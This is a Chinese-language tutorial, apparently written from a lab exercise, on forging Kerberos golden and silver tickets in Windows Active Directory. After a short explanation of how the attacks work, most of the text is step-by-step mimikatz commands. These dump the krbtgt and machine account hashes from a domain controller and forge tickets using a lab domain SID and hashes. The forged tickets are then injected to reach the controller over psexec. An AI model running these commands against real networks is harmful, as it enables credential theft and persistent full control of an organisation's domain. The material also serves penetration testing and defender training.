黄金票据

0x00 前言

Golden ticket的作用是可以生成任意用户的tgt,那么问题就来了,是什么条件能够让他生成任意用户的tgt呢?还得要看kerberos认证的过程,在windows认证过程中,客户端将自己的信息发送给KDC,然后KDC使用krbtgt用户密码的hash作为密钥进行加密,生成TGT。

那么如果获取到了krbtgt的密码hash值,就可以伪造任意tgt了。因为krbtgt只有域控制器上面才有,所以使用黄金凭据意味着你之前拿到过域控制器的权限,黄金凭据可以理解为一个后门。

0x01 条件

  • krbtgt用户的hash(就意味着你已经有域控制器权限了)
  • 域名称
  • 域的SID值
  • 要伪造的用户名

0x02 利用

1、先登录域控制器,dump krbtgt用户的hash值,获取域sid

1
2
privilege::debug
lsadump::lsa /patch
image-20221102141758445

这里讲一个小技巧,mimikatz 运行结果不容易复制,可以输出到一个文件

1
mimikatz.exe "privilege::debug" "lsadump::lsa /patch" exit >> log.txt
image-20221102142225774

2、登录普通域用户生成TGT凭证

1
kerberos::golden /user:administrator /domain:fzm.cn /sid:S-1-5-21-804046751-2176370659-833378800 /krbtgt:3e000e366d0b6191732cfa7c8b77511e /ticket:gold.kirbi
image-20221102142634618

3、注入黄金票据并访问域控

1
kerberos::ptt gold.kirbi
image-20221102144604997 image-20221102144534774

4、使用psexec连接域控

image-20221102145229217

5、查看票据

1
kerberos::list
image-20221102144715512

6、清除票据

1
kerberos::purge
image-20221102144830745

7、清除后,无法访问域控

image-20221102144902480

白银票据

0x00 前言

Sliver ticketgolden ticket不同的是,它不需要和域控制器进行通信,原理是伪造TGS,使用的是计算机账户的hash进行加密的,所以只能访问指定的权限。

不像是Golden ticket,是由krgtgt用户的密码hash进行加密,伪造tgt可以获取到所有权限。

白银票据这里只是对单一的服务进行授权,利用过程和golden ticket差不多,首先上域控制器中,把机器的ntlm hash(rc4加密) dump下来,然后在普通域用户机器进行伪造权限,进行ptt。

0x01 利用

1、登录DC,抓取ntlm hash

1
mimikatz.exe log privilege::debug sekurlsa::logonpasswords exit
image-20221102151721436

2、在普通域用户中生成票据

1
kerberos::golden /domain:fzm.cn /sid:S-1-5-21-804046751-2176370659-833378800 /target:dc2.fzm.cn /service:cifs /rc4:5ae417641cc7e70629f4f148d06deb9a /user:administrator /ptt
image-20221102151642309

3、查看票证访问域控

image-20221102151813722